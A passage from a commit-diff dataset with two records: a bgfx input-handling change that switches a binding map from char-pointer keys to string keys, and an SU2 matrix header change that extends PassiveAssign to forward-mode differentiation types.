char*)binding->m_userData);\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tbinding->m_fn(binding->m_userData);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tvoid process()\n\t{\n\t\tfor (InputBindingMap::const_iterator it = m_inputBindingsMap.begin(); it != m_inputBindingsMap.end(); ++it)\n\t\t{\n\t\t\tprocess(it->second);\n\t\t}\n\t}\n\n\tvoid reset()\n\t{\n\t\tm_mouse.reset();\n\t\tm_keyboard.reset();\n\t\tfor (uint32_t ii = 0; ii < BX_COUNTOF(m_gamepad); ++ii)\n\t\t{\n\t\t\tm_gamepad[ii].reset();\n\t\t}\n\t}\n\n\ttypedef stl::unordered_map<const char*, const InputBinding*> InputBindingMap;\n\tInputBindingMap m_inputBindingsMap;\n\tMouse m_mouse;\n\tKeyboard m_keyboard;\n\tGamepad m_gamepad[ENTRY_CONFIG_MAX_GAMEPADS];\n};\n\nstatic Input* s_input;\n\nvoid inputInit()\n{\n\ts_input = BX_NEW(entry::getAllocator(), Input);\n}\n\nvoid inputShutdown()\n{\n\tBX_DELETE(entry::getAllocator(), s_input);\n}\n\nvoid inputAddBindings(const char* _name, const InputBinding* _bindings)\n{\n\ts_input->addBindings(_name, _bindings);\n}\n\nvoid inputRemoveBindings(const char* _name)\n{\n\ts_input->removeBindings(_name);\n}\n\nvoid inputProcess()\n{\n\ts_input->process();\n}\n\nvoid inputSetMouseResolution(uint16_t _width, uint16_t _height)\n{\n\ts_input->m_mouse.setResolution(_width, _height);\n}\n\nvoid inputSetKeyState(entry::Key::Enum _key, uint8_t _modifiers, bool _down)\n{\n\ts_input->m_keyboard.setKeyState(_key, _modifiers, _down);\n}\n\nbool inputGetKeyState(entry::Key::Enum _key, uint8_t* _modifiers)\n{\n\treturn s_input->m_keyboard.getKeyState(_key, _modifiers);\n}\n\nuint8_t inputGetModifiersState()\n{\n\treturn s_input->m_keyboard.getModifiersState();\n}\n\nvoid inputChar(uint8_t _len, const uint8_t _char[4])\n{\n\ts_input->m_keyboard.pushChar(_len, _char);\n}\n\nconst uint8_t* inputGetChar()\n{\n\treturn s_input->m_keyboard.popChar();\n}\n\nvoid inputCharFlush()\n{\n\ts_input->m_keyboard.charFlush();\n}\n\nvoid inputSetMousePos(int32_t _mx, int32_t _my, int32_t _mz)\n{\n\ts_input->m_mouse.setPos(_mx, _my, _mz);\n}\n\nvoid inputSetMouseButtonState(entry::MouseButton::Enum _button, uint8_t _state)\n{\n\ts_input->m_mouse.setButtonState(_button, _state);\n}\n\nvoid inputGetMouse(float _mouse[3])\n{\n\t_mouse[0] = s_input->m_mouse.m_norm[0];\n\t_mouse[1] = s_input->m_mouse.m_norm[1];\n\t_mouse[2] = s_input->m_mouse.m_norm[2];\n\ts_input->m_mouse.m_norm[0] = 0.0f;\n\ts_input->m_mouse.m_norm[1] = 0.0f;\n\ts_input->m_mouse.m_norm[2] = 0.0f;\n}\n\nbool inputIsMouseLocked()\n{\n\treturn s_input->m_mouse.m_lock;\n}\n\nvoid inputSetMouseLock(bool _lock)\n{\n\tif (s_input->m_mouse.m_lock != _lock)\n\t{\n\t\ts_input->m_mouse.m_lock = _lock;\n\t\tentry::WindowHandle defaultWindow = { 0 };\n\t\tentry::setMouseLock(defaultWindow, _lock);\n\t\tif (_lock)\n\t\t{\n\t\t\ts_input->m_mouse.m_norm[0] = 0.0f;\n\t\t\ts_input->m_mouse.m_norm[1] = 0.0f;\n\t\t\ts_input->m_mouse.m_norm[2] = 0.0f;\n\t\t}\n\t}\n}\n\nvoid inputSetGamepadAxis(entry::GamepadHandle _handle, entry::GamepadAxis::Enum _axis, int32_t _value)\n{\n\ts_input->m_gamepad[_handle.idx].setAxis(_axis, _value);\n}\n\nint32_t inputGetGamepadAxis(entry::GamepadHandle _handle, entry::GamepadAxis::Enum _axis)\n{\n\treturn s_input->m_gamepad[_handle.idx].getAxis(_axis);\n}\n<commit_msg>Using char* as key for unordered_map can lead to unexpected behavior (the hash used for the key is computed using pointer address, not string content)<commit_after>\/*\n * Copyright 2010-2016 Branimir Karadzic. All rights reserved.\n * License: https:\/\/github.com\/bkaradzic\/bgfx#license-bsd-2-clause\n *\/\n\n#include <memory.h>\n\n#include \"entry_p.h\"\n#include \"input.h\"\n#include \"cmd.h\"\n\n#include <bx\/allocator.h>\n#include <bx\/ringbuffer.h>\n#include <tinystl\/string.h>\n#include <tinystl\/allocator.h>\n#include <tinystl\/unordered_map.h>\nnamespace stl = tinystl;\n\nstruct Mouse\n{\n\tMouse()\n\t\t: m_width(1280)\n\t\t, m_height(720)\n\t\t, m_wheelDelta(120)\n\t\t, m_lock(false)\n\t{\n\t}\n\n\tvoid reset()\n\t{\n\t\tif (m_lock)\n\t\t{\n\t\t\tm_norm[0] = 0.0f;\n\t\t\tm_norm[1] = 0.0f;\n\t\t\tm_norm[2] = 0.0f;\n\t\t}\n\n\t\tmemset(m_buttons, 0, sizeof(m_buttons) );\n\t}\n\n\tvoid setResolution(uint16_t _width, uint16_t _height)\n\t{\n\t\tm_width = _width;\n\t\tm_height = _height;\n\t}\n\n\tvoid setPos(int32_t _mx, int32_t _my, int32_t _mz)\n\t{\n\t\tm_absolute[0] = _mx;\n\t\tm_absolute[1] = _my;\n\t\tm_absolute[2] = _mz;\n\t\tm_norm[0] = float(_mx)\/float(m_width);\n\t\tm_norm[1] = float(_my)\/float(m_height);\n\t\tm_norm[2] = float(_mz)\/float(m_wheelDelta);\n\t}\n\n\tvoid setButtonState(entry::MouseButton::Enum _button, uint8_t _state)\n\t{\n\t\tm_buttons[_button] = _state;\n\t}\n\n\tint32_t m_absolute[3];\n\tfloat m_norm[3];\n\tint32_t m_wheel;\n\tuint8_t m_buttons[entry::MouseButton::Count];\n\tuint16_t m_width;\n\tuint16_t m_height;\n\tuint16_t m_wheelDelta;\n\tbool m_lock;\n};\n\nstruct Keyboard\n{\n\tKeyboard()\n\t\t: m_ring(BX_COUNTOF(m_char) )\n\t{\n\t}\n\n\tvoid reset()\n\t{\n\t\tmemset(m_key, 0, sizeof(m_key) );\n\t\tmemset(m_once, 0xff, sizeof(m_once) );\n\t}\n\n\tstatic uint32_t encodeKeyState(uint8_t _modifiers, bool _down)\n\t{\n\t\tuint32_t state = 0;\n\t\tstate |= uint32_t(_modifiers)<<16;\n\t\tstate |= uint32_t(_down)<<8;\n\t\treturn state;\n\t}\n\n\tstatic bool decodeKeyState(uint32_t _state, uint8_t& _modifiers)\n\t{\n\t\t_modifiers = (_state>>16)&0xff;\n\t\treturn 0 != ( (_state>> 8)&0xff);\n\t}\n\n\tvoid setKeyState(entry::Key::Enum _key, uint8_t _modifiers, bool _down)\n\t{\n\t\tm_key[_key] = encodeKeyState(_modifiers, _down);\n\t\tm_once[_key] = false;\n\t}\n\n\tbool getKeyState(entry::Key::Enum _key, uint8_t* _modifiers)\n\t{\n\t\tuint8_t modifiers;\n\t\t_modifiers = NULL == _modifiers ? &modifiers : _modifiers;\n\n\t\treturn decodeKeyState(m_key[_key], *_modifiers);\n\t}\n\n\tuint8_t getModifiersState()\n\t{\n\t\tuint8_t modifiers = 0;\n\t\tfor (uint32_t ii = 0; ii < entry::Key::Count; ++ii)\n\t\t{\n\t\t\tmodifiers |= (m_key[ii]>>16)&0xff;\n\t\t}\n\t\treturn modifiers;\n\t}\n\n\tvoid pushChar(uint8_t _len, const uint8_t _char[4])\n\t{\n\t\tfor (uint32_t len = m_ring.reserve(4)\n\t\t\t; len < _len\n\t\t\t; len = m_ring.reserve(4)\n\t\t\t)\n\t\t{\n\t\t\tpopChar();\n\t\t}\n\n\t\tmemcpy(&m_char[m_ring.m_current], _char, 4);\n\t\tm_ring.commit(4);\n\t}\n\n\tconst uint8_t* popChar()\n\t{\n\t\tif (0 < m_ring.available() )\n\t\t{\n\t\t\tuint8_t* utf8 = &m_char[m_ring.m_read];\n\t\t\tm_ring.consume(4);\n\t\t\treturn utf8;\n\t\t}\n\n\t\treturn NULL;\n\t}\n\n\tvoid charFlush()\n\t{\n\t\tm_ring.m_current = 0;\n\t\tm_ring.m_write   = 0;\n\t\tm_ring.m_read    = 0;\n\t}\n\n\tuint32_t m_key[256];\n\tbool m_once[256];\n\n\tbx::RingBufferControl m_ring;\n\tuint8_t m_char[256];\n};\n\nstruct Gamepad\n{\n\tGamepad()\n\t{\n\t\treset();\n\t}\n\n\tvoid reset()\n\t{\n\t\tmemset(m_axis, 0, sizeof(m_axis) );\n\t}\n\n\tvoid setAxis(entry::GamepadAxis::Enum _axis, int32_t _value)\n\t{\n\t\tm_axis[_axis] = _value;\n\t}\n\n\tint32_t getAxis(entry::GamepadAxis::Enum _axis)\n\t{\n\t\treturn m_axis[_axis];\n\t}\n\n\tint32_t m_axis[entry::GamepadAxis::Count];\n};\n\nstruct Input\n{\n\tInput()\n\t{\n\t\treset();\n\t}\n\n\t~Input()\n\t{\n\t}\n\n\tvoid addBindings(const char* _name, const InputBinding* _bindings)\n\t{\n\t\tm_inputBindingsMap.insert(stl::make_pair(stl::string(_name), _bindings) );\n\t}\n\n\tvoid removeBindings(const char* _name)\n\t{\n\t\tInputBindingMap::iterator it = m_inputBindingsMap.find(stl::string(_name));\n\t\tif (it != m_inputBindingsMap.end() )\n\t\t{\n\t\t\tm_inputBindingsMap.erase(it);\n\t\t}\n\t}\n\n\tvoid process(const InputBinding* _bindings)\n\t{\n\t\tfor (const InputBinding* binding = _bindings; binding->m_key != entry::Key::None; ++binding)\n\t\t{\n\t\t\tuint8_t modifiers;\n\t\t\tbool down =\tKeyboard::decodeKeyState(m_keyboard.m_key[binding->m_key], modifiers);\n\n\t\t\tif (binding->m_flags == 1)\n\t\t\t{\n\t\t\t\tif (down)\n\t\t\t\t{\n\t\t\t\t\tif (modifiers == binding->m_modifiers\n\t\t\t\t\t&&  !m_keyboard.m_once[binding->m_key])\n\t\t\t\t\t{\n\t\t\t\t\t\tif (NULL == binding->m_fn)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcmdExec( (const char*)binding->m_userData);\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tbinding->m_fn(binding->m_userData);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tm_keyboard.m_once[binding->m_key] = true;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tm_keyboard.m_once[binding->m_key] = false;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tif (down\n\t\t\t\t&&  modifiers == binding->m_modifiers)\n\t\t\t\t{\n\t\t\t\t\tif (NULL == binding->m_fn)\n\t\t\t\t\t{\n\t\t\t\t\t\tcmdExec( (const char*)binding->m_userData);\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tbinding->m_fn(binding->m_userData);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tvoid process()\n\t{\n\t\tfor (InputBindingMap::const_iterator it = m_inputBindingsMap.begin(); it != m_inputBindingsMap.end(); ++it)\n\t\t{\n\t\t\tprocess(it->second);\n\t\t}\n\t}\n\n\tvoid reset()\n\t{\n\t\tm_mouse.reset();\n\t\tm_keyboard.reset();\n\t\tfor (uint32_t ii = 0; ii < BX_COUNTOF(m_gamepad); ++ii)\n\t\t{\n\t\t\tm_gamepad[ii].reset();\n\t\t}\n\t}\n\n\ttypedef stl::unordered_map<stl::string, const InputBinding*> InputBindingMap;\n\tInputBindingMap m_inputBindingsMap;\n\tMouse m_mouse;\n\tKeyboard m_keyboard;\n\tGamepad m_gamepad[ENTRY_CONFIG_MAX_GAMEPADS];\n};\n\nstatic Input* s_input;\n\nvoid inputInit()\n{\n\ts_input = BX_NEW(entry::getAllocator(), Input);\n}\n\nvoid inputShutdown()\n{\n\tBX_DELETE(entry::getAllocator(), s_input);\n}\n\nvoid inputAddBindings(const char* _name, const InputBinding* _bindings)\n{\n\ts_input->addBindings(_name, _bindings);\n}\n\nvoid inputRemoveBindings(const char* _name)\n{\n\ts_input->removeBindings(_name);\n}\n\nvoid inputProcess()\n{\n\ts_input->process();\n}\n\nvoid inputSetMouseResolution(uint16_t _width, uint16_t _height)\n{\n\ts_input->m_mouse.setResolution(_width, _height);\n}\n\nvoid inputSetKeyState(entry::Key::Enum _key, uint8_t _modifiers, bool _down)\n{\n\ts_input->m_keyboard.setKeyState(_key, _modifiers, _down);\n}\n\nbool inputGetKeyState(entry::Key::Enum _key, uint8_t* _modifiers)\n{\n\treturn s_input->m_keyboard.getKeyState(_key, _modifiers);\n}\n\nuint8_t inputGetModifiersState()\n{\n\treturn s_input->m_keyboard.getModifiersState();\n}\n\nvoid inputChar(uint8_t _len, const uint8_t _char[4])\n{\n\ts_input->m_keyboard.pushChar(_len, _char);\n}\n\nconst uint8_t* inputGetChar()\n{\n\treturn s_input->m_keyboard.popChar();\n}\n\nvoid inputCharFlush()\n{\n\ts_input->m_keyboard.charFlush();\n}\n\nvoid inputSetMousePos(int32_t _mx, int32_t _my, int32_t _mz)\n{\n\ts_input->m_mouse.setPos(_mx, _my, _mz);\n}\n\nvoid inputSetMouseButtonState(entry::MouseButton::Enum _button, uint8_t _state)\n{\n\ts_input->m_mouse.setButtonState(_button, _state);\n}\n\nvoid inputGetMouse(float _mouse[3])\n{\n\t_mouse[0] = s_input->m_mouse.m_norm[0];\n\t_mouse[1] = s_input->m_mouse.m_norm[1];\n\t_mouse[2] = s_input->m_mouse.m_norm[2];\n\ts_input->m_mouse.m_norm[0] = 0.0f;\n\ts_input->m_mouse.m_norm[1] = 0.0f;\n\ts_input->m_mouse.m_norm[2] = 0.0f;\n}\n\nbool inputIsMouseLocked()\n{\n\treturn s_input->m_mouse.m_lock;\n}\n\nvoid inputSetMouseLock(bool _lock)\n{\n\tif (s_input->m_mouse.m_lock != _lock)\n\t{\n\t\ts_input->m_mouse.m_lock = _lock;\n\t\tentry::WindowHandle defaultWindow = { 0 };\n\t\tentry::setMouseLock(defaultWindow, _lock);\n\t\tif (_lock)\n\t\t{\n\t\t\ts_input->m_mouse.m_norm[0] = 0.0f;\n\t\t\ts_input->m_mouse.m_norm[1] = 0.0f;\n\t\t\ts_input->m_mouse.m_norm[2] = 0.0f;\n\t\t}\n\t}\n}\n\nvoid inputSetGamepadAxis(entry::GamepadHandle _handle, entry::GamepadAxis::Enum _axis, int32_t _value)\n{\n\ts_input->m_gamepad[_handle.idx].setAxis(_axis, _value);\n}\n\nint32_t inputGetGamepadAxis(entry::GamepadHandle _handle, entry::GamepadAxis::Enum _axis)\n{\n\treturn s_input->m_gamepad[_handle.idx].getAxis(_axis);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*!\n * \\file matrix_structure.inl\n * \\brief In-Line subroutines of the <i>matrix_structure.hpp<\/i> file.\n * \\author F. Palacios, A. Bueno, T. Economon\n * \\version 6.2.0 \"Falcon\"\n *\n * The current SU2 release has been coordinated by the\n * SU2 International Developers Society <www.su2devsociety.org>\n * with selected contributions from the open-source community.\n *\n * The main research teams contributing to the current release are:\n *  - Prof. Juan J. Alonso's group at Stanford University.\n *  - Prof. Piero Colonna's group at Delft University of Technology.\n *  - Prof. Nicolas R. Gauger's group at Kaiserslautern University of Technology.\n *  - Prof. Alberto Guardone's group at Polytechnic University of Milan.\n *  - Prof. Rafael Palacios' group at Imperial College London.\n *  - Prof. Vincent Terrapon's group at the University of Liege.\n *  - Prof. Edwin van der Weide's group at the University of Twente.\n *  - Lab. of New Concepts in Aeronautics at Tech. Institute of Aeronautics.\n *\n * Copyright 2012-2019, Francisco D. Palacios, Thomas D. Economon,\n *                      Tim Albring, and the SU2 contributors.\n *\n * SU2 is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * SU2 is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with SU2. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#pragma once\n\ntemplate<class ScalarType>\ninline void CSysMatrix<ScalarType>::SetValZero(void) { \n  if(NULL != matrix) {\n\t  for (unsigned long index = 0; index < nnz*nVar*nEqn; index++)\n\t\tmatrix[index] = 0.0;\n  }\n}\n\ntemplate<class ScalarType>\ntemplate<class DstType, class SrcType>\ninline DstType CSysMatrix<ScalarType>::ActiveAssign(const SrcType & val) const { return val; }\n\n#ifdef CODI_REVERSE_TYPE\ntemplate<> template<>\ninline passivedouble CSysMatrix<passivedouble>::ActiveAssign(const su2double & val) const { return SU2_TYPE::GetValue(val); }\n\ntemplate<> template<>\ninline passivedouble CSysMatrix<su2double>::ActiveAssign(const su2double & val) const { return SU2_TYPE::GetValue(val); }\n#endif\n\ntemplate<class ScalarType>\ntemplate<class DstType, class SrcType>\ninline DstType CSysMatrix<ScalarType>::PassiveAssign(const SrcType & val) const {\n#ifndef CODI_REVERSE_TYPE\n  return val;\n#else\n  return SU2_TYPE::GetValue(val);\n#endif\n}\n\ntemplate<class ScalarType>\ntemplate<class OtherType>\ninline void CSysMatrix<ScalarType>::SetBlock(unsigned long block_i, unsigned long block_j, OtherType **val_block) {\n  \n  unsigned long iVar, jVar, index, step = 0;\n  \n  for (index = row_ptr[block_i]; index < row_ptr[block_i+1]; index++) {\n    step++;\n    if (col_ind[index] == block_j) {\n      for (iVar = 0; iVar < nVar; iVar++)\n        for (jVar = 0; jVar < nEqn; jVar++)\n          matrix[(row_ptr[block_i]+step-1)*nVar*nEqn+iVar*nEqn+jVar] = PassiveAssign<ScalarType,OtherType>(val_block[iVar][jVar]);\n      break;\n    }\n  }\n  \n}\n\ntemplate<class ScalarType>\ntemplate<class OtherType>\ninline void CSysMatrix<ScalarType>::SetBlock(unsigned long block_i, unsigned long block_j, OtherType *val_block) {\n  \n  unsigned long iVar, jVar, index, step = 0;\n  \n  for (index = row_ptr[block_i]; index < row_ptr[block_i+1]; index++) {\n    step++;\n    if (col_ind[index] == block_j) {\n      for (iVar = 0; iVar < nVar; iVar++)\n        for (jVar = 0; jVar < nEqn; jVar++)\n          matrix[(row_ptr[block_i]+step-1)*nVar*nEqn+iVar*nEqn+jVar] = PassiveAssign<ScalarType,OtherType>(val_block[iVar*nVar+jVar]);\n      break;\n    }\n  }\n  \n}\n\ntemplate<class ScalarType>\ntemplate<class OtherType>\ninline void CSysMatrix<ScalarType>::AddBlock(unsigned long block_i, unsigned long block_j, OtherType **val_block) {\n  \n  unsigned long iVar, jVar, index, step = 0;\n  \n  for (index = row_ptr[block_i]; index < row_ptr[block_i+1]; index++) {\n    step++;\n    if (col_ind[index] == block_j) {\n      for (iVar = 0; iVar < nVar; iVar++)\n        for (jVar = 0; jVar < nEqn; jVar++)\n          matrix[(row_ptr[block_i]+step-1)*nVar*nEqn+iVar*nEqn+jVar] += PassiveAssign<ScalarType,OtherType>(val_block[iVar][jVar]);\n      break;\n    }\n  }\n  \n}\n\ntemplate<class ScalarType>\ntemplate<class OtherType>\ninline void CSysMatrix<ScalarType>::SubtractBlock(unsigned long block_i, unsigned long block_j, OtherType **val_block) {\n  \n  unsigned long iVar, jVar, index, step = 0;\n  \n  for (index = row_ptr[block_i]; index < row_ptr[block_i+1]; index++) {\n    step++;\n    if (col_ind[index] == block_j) {\n      for (iVar = 0; iVar < nVar; iVar++)\n        for (jVar = 0; jVar < nEqn; jVar++)\n          matrix[(row_ptr[block_i]+step-1)*nVar*nEqn+iVar*nEqn+jVar] -= PassiveAssign<ScalarType,OtherType>(val_block[iVar][jVar]);\n      break;\n    }\n  }\n  \n}\n\ntemplate<class ScalarType>\ntemplate<class OtherType>\ninline void CSysMatrix<ScalarType>::AddVal2Diag(unsigned long block_i, OtherType val_matrix) {\n  \n  unsigned long step = 0, iVar, index;\n  \n  for (index = row_ptr[block_i]; index < row_ptr[block_i+1]; index++) {\n    step++;\n    if (col_ind[index] == block_i) {\t\/\/ Only elements on the diagonal\n      for (iVar = 0; iVar < nVar; iVar++)\n        matrix[(row_ptr[block_i]+step-1)*nVar*nVar+iVar*nVar+iVar] += PassiveAssign<ScalarType,OtherType>(val_matrix);\n      break;\n    }\n  }\n  \n}\n\ntemplate<class ScalarType>\ntemplate<class OtherType>\ninline void CSysMatrix<ScalarType>::SetVal2Diag(unsigned long block_i, OtherType val_matrix) {\n  \n  unsigned long step = 0, iVar, jVar, index;\n  \n  for (index = row_ptr[block_i]; index < row_ptr[block_i+1]; index++) {\n    step++;\n    if (col_ind[index] == block_i) {\t\/\/ Only elements on the diagonal\n      \n      for (iVar = 0; iVar < nVar; iVar++)\n        for (jVar = 0; jVar < nVar; jVar++)\n          matrix[(row_ptr[block_i]+step-1)*nVar*nVar+iVar*nVar+jVar] = 0.0;\n      \n      for (iVar = 0; iVar < nVar; iVar++)\n        matrix[(row_ptr[block_i]+step-1)*nVar*nVar+iVar*nVar+iVar] = PassiveAssign<ScalarType,OtherType>(val_matrix);\n      \n      break;\n    }\n  }\n  \n}\n\ntemplate<class ScalarType>\ninline CSysMatrixVectorProduct<ScalarType>::CSysMatrixVectorProduct(CSysMatrix<ScalarType> & matrix_ref, CGeometry *geometry_ref, CConfig *config_ref) {\n  sparse_matrix = &matrix_ref;\n  geometry = geometry_ref;\n  config = config_ref;  \n}\n\ntemplate<class ScalarType>\ninline void CSysMatrixVectorProduct<ScalarType>::operator()(const CSysVector<ScalarType> & u, CSysVector<ScalarType> & v) const {\n  if (sparse_matrix == NULL) {\n    cerr << \"CSysMatrixVectorProduct::operator()(const CSysVector &, CSysVector &): \" << endl; \n    cerr << \"pointer to sparse matrix is NULL.\" << endl;\n    throw(-1);\n  }\n  sparse_matrix->MatrixVectorProduct(u, v, geometry, config);\n}\n\ntemplate<class ScalarType>\ninline CSysMatrixVectorProductTransposed<ScalarType>::CSysMatrixVectorProductTransposed(CSysMatrix<ScalarType> & matrix_ref, CGeometry *geometry_ref, CConfig *config_ref) {\n  sparse_matrix = &matrix_ref;\n  geometry = geometry_ref;\n  config = config_ref;\n}\n\ntemplate<class ScalarType>\ninline void CSysMatrixVectorProductTransposed<ScalarType>::operator()(const CSysVector<ScalarType> & u, CSysVector<ScalarType> & v) const {\n  if (sparse_matrix == NULL) {\n    cerr << \"CSysMatrixVectorProduct::operator()(const CSysVector &, CSysVector &): \" << endl;\n    cerr << \"pointer to sparse matrix is NULL.\" << endl;\n    throw(-1);\n  }\n  sparse_matrix->MatrixVectorProductTransposed(u, v, geometry, config);\n}\n\ntemplate<class ScalarType>\ninline CJacobiPreconditioner<ScalarType>::CJacobiPreconditioner(CSysMatrix<ScalarType> & matrix_ref, CGeometry *geometry_ref, CConfig *config_ref) {\n  sparse_matrix = &matrix_ref;\n  geometry = geometry_ref;\n  config = config_ref;  \n}\n\ntemplate<class ScalarType>\ninline void CJacobiPreconditioner<ScalarType>::operator()(const CSysVector<ScalarType> & u, CSysVector<ScalarType> & v) const {\n  if (sparse_matrix == NULL) {\n    cerr << \"CJacobiPreconditioner::operator()(const CSysVector &, CSysVector &): \" << endl; \n    cerr << \"pointer to sparse matrix is NULL.\" << endl;\n    throw(-1);\n  }\n  sparse_matrix->ComputeJacobiPreconditioner(u, v, geometry, config);\n}\n\ntemplate<class ScalarType>\ninline CILUPreconditioner<ScalarType>::CILUPreconditioner(CSysMatrix<ScalarType> & matrix_ref, CGeometry *geometry_ref, CConfig *config_ref) {\n  sparse_matrix = &matrix_ref;\n  geometry = geometry_ref;\n  config = config_ref;\n}\n\ntemplate<class ScalarType>\ninline void CILUPreconditioner<ScalarType>::operator()(const CSysVector<ScalarType> & u, CSysVector<ScalarType> & v) const {\n  if (sparse_matrix == NULL) {\n    cerr << \"CILUPreconditioner::operator()(const CSysVector &, CSysVector &): \" << endl;\n    cerr << \"pointer to sparse matrix is NULL.\" << endl;\n    throw(-1);\n  }\n  sparse_matrix->ComputeILUPreconditioner(u, v, geometry, config);\n}\n\ntemplate<class ScalarType>\ninline CLU_SGSPreconditioner<ScalarType>::CLU_SGSPreconditioner(CSysMatrix<ScalarType> & matrix_ref, CGeometry *geometry_ref, CConfig *config_ref) {\n  sparse_matrix = &matrix_ref;\n      geometry = geometry_ref;\n  config = config_ref;\n}\n\ntemplate<class ScalarType>\ninline void CLU_SGSPreconditioner<ScalarType>::operator()(const CSysVector<ScalarType> & u, CSysVector<ScalarType> & v) const {\n  if (sparse_matrix == NULL) {\n    cerr << \"CLU_SGSPreconditioner::operator()(const CSysVector &, CSysVector &): \" << endl; \n    cerr << \"pointer to sparse matrix is NULL.\" << endl;\n    throw(-1);\n  }\n  sparse_matrix->ComputeLU_SGSPreconditioner(u, v, geometry, config);\n}\n\ntemplate<class ScalarType>\ninline CLineletPreconditioner<ScalarType>::CLineletPreconditioner(CSysMatrix<ScalarType> & matrix_ref, CGeometry *geometry_ref, CConfig *config_ref) {\n  sparse_matrix = &matrix_ref;\n  geometry = geometry_ref;\n  config = config_ref;  \n}\n\ntemplate<class ScalarType>\ninline void CLineletPreconditioner<ScalarType>::operator()(const CSysVector<ScalarType> & u, CSysVector<ScalarType> & v) const {\n  if (sparse_matrix == NULL) {\n    cerr << \"CLineletPreconditioner::operator()(const CSysVector &, CSysVector &): \" << endl; \n    cerr << \"pointer to sparse matrix is NULL.\" << endl;\n    throw(-1);\n  }\n  sparse_matrix->ComputeLineletPreconditioner(u, v, geometry, config);\n}\n<commit_msg>forgot to handle directdiff in previous commit<commit_after>\/*!\n * \\file matrix_structure.inl\n * \\brief In-Line subroutines of the <i>matrix_structure.hpp<\/i> file.\n * \\author F. Palacios, A. Bueno, T. Economon\n * \\version 6.2.0 \"Falcon\"\n *\n * The current SU2 release has been coordinated by the\n * SU2 International Developers Society <www.su2devsociety.org>\n * with selected contributions from the open-source community.\n *\n * The main research teams contributing to the current release are:\n *  - Prof. Juan J. Alonso's group at Stanford University.\n *  - Prof. Piero Colonna's group at Delft University of Technology.\n *  - Prof. Nicolas R. Gauger's group at Kaiserslautern University of Technology.\n *  - Prof. Alberto Guardone's group at Polytechnic University of Milan.\n *  - Prof. Rafael Palacios' group at Imperial College London.\n *  - Prof. Vincent Terrapon's group at the University of Liege.\n *  - Prof. Edwin van der Weide's group at the University of Twente.\n *  - Lab. of New Concepts in Aeronautics at Tech. Institute of Aeronautics.\n *\n * Copyright 2012-2019, Francisco D. Palacios, Thomas D. Economon,\n *                      Tim Albring, and the SU2 contributors.\n *\n * SU2 is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * SU2 is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with SU2. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#pragma once\n\ntemplate<class ScalarType>\ninline void CSysMatrix<ScalarType>::SetValZero(void) { \n  if(NULL != matrix) {\n\t  for (unsigned long index = 0; index < nnz*nVar*nEqn; index++)\n\t\tmatrix[index] = 0.0;\n  }\n}\n\ntemplate<class ScalarType>\ntemplate<class DstType, class SrcType>\ninline DstType CSysMatrix<ScalarType>::ActiveAssign(const SrcType & val) const { return val; }\n\n#ifdef CODI_REVERSE_TYPE\ntemplate<> template<>\ninline passivedouble CSysMatrix<passivedouble>::ActiveAssign(const su2double & val) const { return SU2_TYPE::GetValue(val); }\n\ntemplate<> template<>\ninline passivedouble CSysMatrix<su2double>::ActiveAssign(const su2double & val) const { return SU2_TYPE::GetValue(val); }\n#endif\n\ntemplate<class ScalarType>\ntemplate<class DstType, class SrcType>\ninline DstType CSysMatrix<ScalarType>::PassiveAssign(const SrcType & val) const {\n#if defined(CODI_REVERSE_TYPE) || defined(CODI_FORWARD_TYPE)\n  return SU2_TYPE::GetValue(val);\n#else\n  return val;\n#endif\n}\n\ntemplate<class ScalarType>\ntemplate<class OtherType>\ninline void CSysMatrix<ScalarType>::SetBlock(unsigned long block_i, unsigned long block_j, OtherType **val_block) {\n  \n  unsigned long iVar, jVar, index, step = 0;\n  \n  for (index = row_ptr[block_i]; index < row_ptr[block_i+1]; index++) {\n    step++;\n    if (col_ind[index] == block_j) {\n      for (iVar = 0; iVar < nVar; iVar++)\n        for (jVar = 0; jVar < nEqn; jVar++)\n          matrix[(row_ptr[block_i]+step-1)*nVar*nEqn+iVar*nEqn+jVar] = PassiveAssign<ScalarType,OtherType>(val_block[iVar][jVar]);\n      break;\n    }\n  }\n  \n}\n\ntemplate<class ScalarType>\ntemplate<class OtherType>\ninline void CSysMatrix<ScalarType>::SetBlock(unsigned long block_i, unsigned long block_j, OtherType *val_block) {\n  \n  unsigned long iVar, jVar, index, step = 0;\n  \n  for (index = row_ptr[block_i]; index < row_ptr[block_i+1]; index++) {\n    step++;\n    if (col_ind[index] == block_j) {\n      for (iVar = 0; iVar < nVar; iVar++)\n        for (jVar = 0; jVar < nEqn; jVar++)\n          matrix[(row_ptr[block_i]+step-1)*nVar*nEqn+iVar*nEqn+jVar] = PassiveAssign<ScalarType,OtherType>(val_block[iVar*nVar+jVar]);\n      break;\n    }\n  }\n  \n}\n\ntemplate<class ScalarType>\ntemplate<class OtherType>\ninline void CSysMatrix<ScalarType>::AddBlock(unsigned long block_i, 